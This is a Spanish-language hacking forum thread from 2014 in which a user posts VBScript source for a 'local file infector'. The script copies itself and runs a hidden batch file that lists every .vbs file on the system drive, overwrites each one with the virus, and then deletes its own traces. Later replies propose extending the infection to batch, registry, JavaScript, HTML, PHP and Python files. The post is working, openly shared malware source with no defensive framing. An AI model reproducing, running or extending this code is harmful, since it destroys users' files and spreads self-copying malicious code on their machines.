Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: .BrutuS en 9 Diciembre 2014, 03:29 am



Título: [VBS] [SOURCE] Infectar Archivos Locales
Publicado por: .BrutuS en 9 Diciembre 2014, 03:29 am
Infecta todos los archivos *.vbs en el disco principal.

Código:
'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0


Título: Re: [VBS] [SOURCE] Infectar Archivos Locales
Publicado por: phat_one@h0st:~$ en 10 Diciembre 2014, 01:23 am
seria entretenido si hicieras uno que infectara todos los archivos de scripts


Título: Re: [VBS] [SOURCE] Infectar Archivos Locales
Publicado por: .BrutuS en 10 Diciembre 2014, 03:57 am
seria entretenido si hicieras uno que infectara todos los archivos de scripts

Si se podria hacer uno que infecte "vbs, vbe, bat, cmd, reg" tengo una idea para esos   ;D


Título: Re: [VBS] [SOURCE] Infectar Archivos Locales
Publicado por: phat_one@h0st:~$ en 11 Diciembre 2014, 01:29 am
bueno en este caso hablaba tambien de los archivos .js, .html, .php, .pl y .py